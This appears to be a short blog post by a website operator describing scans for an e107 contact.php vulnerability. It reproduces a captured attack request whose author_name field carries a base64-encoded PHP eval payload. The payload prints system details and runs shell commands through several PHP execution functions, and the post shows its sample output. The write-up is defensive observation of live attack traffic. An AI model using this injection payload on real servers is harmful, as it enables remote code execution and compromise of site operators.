e107 contact.php Scanning

I saw a few alerts today for distributed scanning for the e107 contact vulnerability (I don't run e107, but my site has a contact.php page on it).

From these IP addresses (very likley compromised hosts):
67.227.157.117
64.20.40.210

The actual scan was attempting to execute some php code (BASE64 encoded) to return the server name and OS version-a reconnaisse scan, probably to build a list of vulnerable machines to exploit later on.

send-contactus=1
author_name=[php]eval(base64_decode('ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ=='));die;[/php]

When/if run, this would return (depending on your OS version, etc...):

v0pCr3w
sys:Linux ServerName 2.6.24-28-server #1 SMP Wed Nov 24 10:04:43 UTC 2010 i686
nob0dyCr3w

Doing a little googling, it looks like this particular scan has been happening since early this week at least. Just more background Internet noise! Unless of course, you are running a vulnerable version of e107. ;)